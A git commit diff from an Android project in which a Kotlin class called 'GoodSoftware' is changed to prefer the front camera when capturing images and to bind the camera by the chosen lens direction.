Take picture from front facing instaid of back, unless not avaible... ideally from both //TODO
This commit is contained in:
parent
ab74a11524
commit
6e0c78e732
@ -40,7 +40,7 @@ import androidx.lifecycle.lifecycleScope
|
||||
import kotlinx.coroutines.launch
|
||||
|
||||
|
||||
class GoodSoftware (private val activity: ComponentActivity) {
|
||||
class GoodSoftware (private val activity: MainActivity) {
|
||||
private var cameraProvider: ProcessCameraProvider? = null
|
||||
private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
|
||||
private var imageCapture: ImageCapture? = null
|
||||
@ -206,11 +206,11 @@ class GoodSoftware (private val activity: ComponentActivity) {
|
||||
return
|
||||
}
|
||||
|
||||
// Select the lens facing
|
||||
lensFacing = if (hasBackCamera()) {
|
||||
CameraSelector.LENS_FACING_BACK
|
||||
} else {
|
||||
// Select the lens facing, prioritize front camera if available
|
||||
lensFacing = if (hasFrontCamera()) {
|
||||
CameraSelector.LENS_FACING_FRONT
|
||||
} else {
|
||||
CameraSelector.LENS_FACING_BACK
|
||||
}
|
||||
|
||||
// Create ImageCapture instance
|
||||
@ -243,19 +243,21 @@ class GoodSoftware (private val activity: ComponentActivity) {
|
||||
}
|
||||
|
||||
// Bind the camera and start image capture
|
||||
cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.DEFAULT_BACK_CAMERA, imageCapture)
|
||||
cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture)
|
||||
|
||||
// Take the picture
|
||||
imageCapture?.takePicture(
|
||||
ContextCompat.getMainExecutor(context),
|
||||
imageCapturedListener
|
||||
)
|
||||
cameraProvider?.unbind()
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
private fun hasBackCamera(): Boolean {
|
||||
return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false
|
||||
}
|
||||
|
Loading…
x
Reference in New Issue
Block a user